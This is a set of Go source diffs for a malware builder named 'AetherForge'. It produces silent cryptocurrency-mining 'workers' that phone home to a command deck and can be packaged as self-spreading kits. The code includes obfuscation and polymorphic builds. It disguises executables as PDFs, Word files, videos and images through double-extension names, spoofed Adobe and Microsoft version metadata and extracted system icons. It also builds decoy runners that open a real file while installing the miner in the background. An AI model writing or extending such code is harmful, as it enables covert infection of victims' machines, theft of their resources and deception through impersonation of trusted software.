OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
esac ;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
esac ;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
exec "$RUN"
`
}
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
// title is the payload filename — the runner uses the double-extension disguised name.
func fusionUniversalStartBat(title string) string {
runnerExe := disguisedRunnerName(title)
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
}
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
func fusionUniversalStartCommand() string {
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
}
func formatSpreadKitReadme(req *BuildRequest) string {
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
=====================================
Run ONE launcher for your OS (silent install + mining + deck connection):
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
Linux: chmod +x deploy.sh && ./deploy.sh
macOS: double-click Start.command (or ./deploy.sh)
Keep the entire folder together — bin/ must stay next to the launcher.
Command deck URL baked into workers: %s
If agents never appear, re-forge with your LAN IP (not localhost).
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
`, req.WorkerName, req.ServerURL)
}
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
Worker: %s
Build ID: %s
Command URL: %s
Pool: %s:%d
Wallet: %s…
Auto-spread: %v
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
}
func truncateWallet(w string) string {
w = strings.TrimSpace(w)
if len(w) <= 16 {
return w
}
return w[:16]
}

View File

@@ -1,13 +1,5 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
)
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string
if req.ProcessHollowing {
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
}
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
env := append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
}
return out, nil
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
}

View File

@@ -0,0 +1,75 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
env := append(os.Environ(),
"GOOS="+platform.GOOS,
"GOARCH="+platform.GOARCH,
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
if obfuscate && platform.GOOS == "windows" && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
name := workerFileName(req.WorkerName, platform, fusionWorker)
outputPath := filepath.Join(buildDir, platform.Label(), name)
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
return "", err
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return "", fmt.Errorf("write builtin config: %w", err)
}
ldflags := ldflagsFor(req, platform)
extra, err := injectPolymorph(agentDir, buildID)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
return "", err
}
return outputPath, nil
}

View File

@@ -0,0 +1,225 @@
package builder
import (
"encoding/json"
"fmt"
"path/filepath"
"strings"
)
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
// When injected into the runner, Windows Explorer and Task Manager will show
// this information instead of the generic Go binary defaults.
type fileDisguiseInfo struct {
FileDescription string
ProductName string
CompanyName string
LegalCopyright string
OriginalFilename string // the "real" exe that Windows thinks this is
FileVersion string // e.g. "24.0.20112.0"
ProductVersion string // e.g. "2024.002.20965"
}
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
// the runner binary look like the legitimate application for that file type.
// Extensions without an entry fall back to a generic Windows shell host entry.
var disguiseByExt = map[string]fileDisguiseInfo{
// ── Documents ──────────────────────────────────────────────────────────────
".pdf": {
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
},
".doc": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".docx": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xls": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xlsx": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".ppt": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".pptx": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".txt": {
FileDescription: "Text Document", ProductName: "Notepad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".csv": {
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
// ── Video ──────────────────────────────────────────────────────────────────
".mp4": {
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".mkv": {
FileDescription: "Matroska Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".mov": {
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
},
".avi": {
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wmv": {
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Audio ──────────────────────────────────────────────────────────────────
".mp3": {
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wav": {
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Images ─────────────────────────────────────────────────────────────────
".jpg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".jpeg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".png": {
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".gif": {
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
// ── Archives ───────────────────────────────────────────────────────────────
".zip": {
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".rar": {
FileDescription: "WinRAR archive", ProductName: "WinRAR",
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
},
}
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
// Falls back to a generic Windows shell host entry if the extension is not recognised.
func fileDisguiseForExt(ext string) fileDisguiseInfo {
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
return info
}
// Generic fallback — looks like a Windows shell component
return fileDisguiseInfo{
FileDescription: "Windows Shell Extension", ProductName: "Windows",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
}
}
// disguisedRunnerName returns the Windows runner filename that impersonates a
// document type using the double-extension trick:
//
// "report.pdf" → "report.pdf.exe"
// "clip.mp4" → "clip.mp4.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
func disguisedRunnerName(payloadName string) string {
ext := strings.ToLower(filepath.Ext(payloadName))
if ext == ".exe" || ext == "" {
// Already an exe payload or no extension — no double-extension trick
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "setup"
}
return sanitizeFileName(base) + ".exe"
}
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "file"
}
// e.g. "quarterly-report.pdf.exe"
return sanitizeFileName(base) + ext + ".exe"
}
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
// icoRelPath, relative to the winres JSON) and the spoofed version info.
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{"0409": icoRelPath},
},
"RT_VERSION": map[string]any{
"#1": map[string]any{
"0409": map[string]any{
"FILEVERSION": fv,
"PRODUCTVERSION": pv,
"FileDescription": info.FileDescription,
"FileVersion": info.FileVersion,
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
"LegalCopyright": info.LegalCopyright,
"OriginalFilename": info.OriginalFilename,
"ProductName": info.ProductName,
"ProductVersion": info.ProductVersion,
"CompanyName": info.CompanyName,
},
},
},
}
return marshalJSONPretty(doc)
}
func marshalJSONPretty(v any) ([]byte, error) {
return json.MarshalIndent(v, "", " ")
}
// fileDisguiseSummary returns a one-line human-readable description of what the
// disguise will look like, used for logging.
func fileDisguiseSummary(payloadExt string) string {
info := fileDisguiseForExt(payloadExt)
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
}

View File

@@ -0,0 +1,10 @@
//go:build !windows
package builder
// applyDocumentDisguise is a no-op on non-Windows build hosts.
// Icon + version-info injection into PE executables requires Windows tooling.
// The runner will still function correctly; it just won't have the spoofed icon.
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
return nil
}

View File

@@ -0,0 +1,118 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
// the file type identified by payloadExt.
//
// What it does:
// 1. Extracts the Windows system icon registered for that extension (e.g. the
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
// extension and using PowerShell to read the shell's associated icon.
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
// to match the legitimate application for that file type.
// 3. Patches the runner exe in-place.
//
// After this runs, Windows Explorer shows the runner with the exact icon and
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
// Combined with double-extension naming (report.pdf.exe) the runner is visually
// indistinguishable from the real file when extension hiding is on (Windows default).
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
info := fileDisguiseForExt(payloadExt)
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
if err != nil {
return fmt.Errorf("disguise workdir: %w", err)
}
defer os.RemoveAll(workDir)
// Step 1 — extract the system icon for this file extension
icoPath := filepath.Join(workDir, "payload.ico")
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
}
}
// Step 2 — build the winres patch JSON (icon + version info)
jsonBytes, err := winresVersionJSON(info, "payload.ico")
if err != nil {
return fmt.Errorf("disguise: winres json: %w", err)
}
jsonPath := filepath.Join(workDir, "disguise.json")
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
return fmt.Errorf("disguise: write json: %w", err)
}
// Step 3 — patch the exe with go-winres
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
return fmt.Errorf("disguise: go-winres patch: %w", err)
}
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
return nil
}
// extractSystemIconForExt creates a 0-byte temp file with the given extension
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
// This gives us the exact same icon that Windows Explorer would show for a real
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
func extractSystemIconForExt(ext, icoPath string) error {
extEsc := strings.ReplaceAll(ext, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
# Create a disposable 0-byte temp file with the target extension
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
try {
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
} finally {
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
}
`, extEsc, extEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not written for %s: %w", ext, err)
}
return nil
}
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
// document types. Used when the system icon extraction fails (e.g. the application
// is not installed on the forge machine). The icons are very small but correct.
func writeBuiltinIconForExt(ext, icoPath string) error {
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
// In practice extractSystemIconForExt should always work on a Windows machine.
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
"\x28\x00\x00\x00\x16\x00\x00\x00" +
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\xff\x00\x00\x00\x00\x00"
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
}

View File

@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if outputName == "" {
outputName = prepName
}
if kind == "video" {
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(prepName)
}
} else if outputName == "" {
outputName = runnerNameForMedia(prepName)
}
}
if outputName == "" {
outputName = "prep.exe"
// Default runner name derived from payload filename
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
outputName = runnerNameForFile(prepName, winPlatform)
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"

View File

@@ -0,0 +1,35 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
if appName == ".app" {
appName = "Movie.app"
}
appDir := filepath.Join(outDir, appName)
macosDir := filepath.Join(appDir, "Contents", "MacOS")
if err := os.MkdirAll(macosDir, 0755); err != nil {
return err
}
dest := filepath.Join(macosDir, "runner")
if err := copyFile(runnerPath, dest); err != nil {
return err
}
_ = os.Chmod(dest, 0755)
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>CFBundleName</key><string>%s</string>
<key>CFBundleExecutable</key><string>runner</string>
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
<key>LSUIElement</key><true/>
</dict></plist>`, name, sanitizeFileName(title))
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
}

View File

@@ -10,103 +10,106 @@ import (
)
type fusionBuildResult struct {
LauncherPath string
MediaName string
LauncherPath string
MediaName string
// Legacy fields kept for backward compat — unused in file-fusion mode
EncryptedPath string
ShortcutPath string
}
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
func detectFusionPayloadKind(path string) string {
switch strings.ToLower(filepath.Ext(path)) {
case ".mp4", ".mkv", ".mov":
return "video"
default:
if strings.EqualFold(filepath.Ext(path), ".exe") {
return "exe"
}
return "file"
}
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
platforms := platformsForRequest(req)
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
}
// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
if kind == "video" {
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
}
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return nil, err
}
return &fusionBuildResult{LauncherPath: path}, nil
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
}
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
// buildFileFusion builds a universal fusion runner for any file type.
//
// Delivery modes:
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
// Resolve the display name for the payload file
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" {
mediaName = filepath.Base(mediaPath)
mediaName = filepath.Base(payloadPath)
}
mediaName = sanitizeFileName(mediaName)
// Resolve the runner output name
outputName := strings.TrimSpace(req.FusionOutputName)
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(mediaName)
}
if outputName == "" {
outputName = runnerNameForFile(mediaName, platform)
} else {
if outputName == "" {
outputName = runnerNameForMedia(mediaName)
// Ensure correct extension for this platform
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
outputName += platform.Ext
} else if platform.Ext == "" {
outputName = strings.TrimSuffix(outputName, ".exe")
}
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
kind := req.FusionPayloadKind
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
if err != nil {
return nil, err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return nil, err
}
encFileName := mediaName + ".cmdata"
var mediaKey []byte
if mode == "paired" {
var keyErr error
mediaKey, keyErr = NewMediaLockKey()
if keyErr != nil {
return nil, keyErr
}
}
manifestFields := map[string]string{
"payload_kind": "video",
"media_mode": mode,
"media_file_name": mediaName,
}
if mode == "paired" {
manifestFields["media_enc_file"] = encFileName
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
manifestFields["runner_display_name"] = outputName
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
// Write worker binary into assets
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
return nil, err
}
var encryptedPath, shortcutPath string
// Write payload according to delivery mode
switch mode {
case "embedded":
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
// Bake the payload into the runner binary as assets/payload.bin
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
return nil, err
}
// Keep legacy placeholders so the embed directive compiles cleanly
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
default:
default: // "paired"
// Empty placeholders — payload ships alongside the runner in the ZIP
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
}
}
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w -H windowsgui"
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
// Write manifest for the runner to read at runtime
manifestFields := map[string]string{
"payload_kind": kind,
"media_mode": mode,
"media_file_name": mediaName,
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err
}
if mode == "paired" {
encryptedPath = filepath.Join(buildDir, encFileName)
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
return nil, err
}
_ = setHiddenFile(encryptedPath)
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
ldflags := ldflagsFor(req, platform)
// Force GUI subsystem (no console window) for all fusion runners
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
return nil, err
}
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
return nil, err
// Windows: inject the system icon + spoofed PE version info so the runner
// looks exactly like the real file type (PDF icon, Word icon, etc.)
if platform.GOOS == "windows" && kind != "exe" {
payloadExt := strings.ToLower(filepath.Ext(mediaName))
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
// Non-fatal — runner still works without the disguise
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
}
}
return &fusionBuildResult{
LauncherPath: launcherPath,
MediaName: mediaName,
EncryptedPath: encryptedPath,
ShortcutPath: shortcutPath,
LauncherPath: launcherPath,
MediaName: mediaName,
}, nil
}
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
if err != nil {
return "", err
}
assetsDir := filepath.Join(fusionDir, "assets")
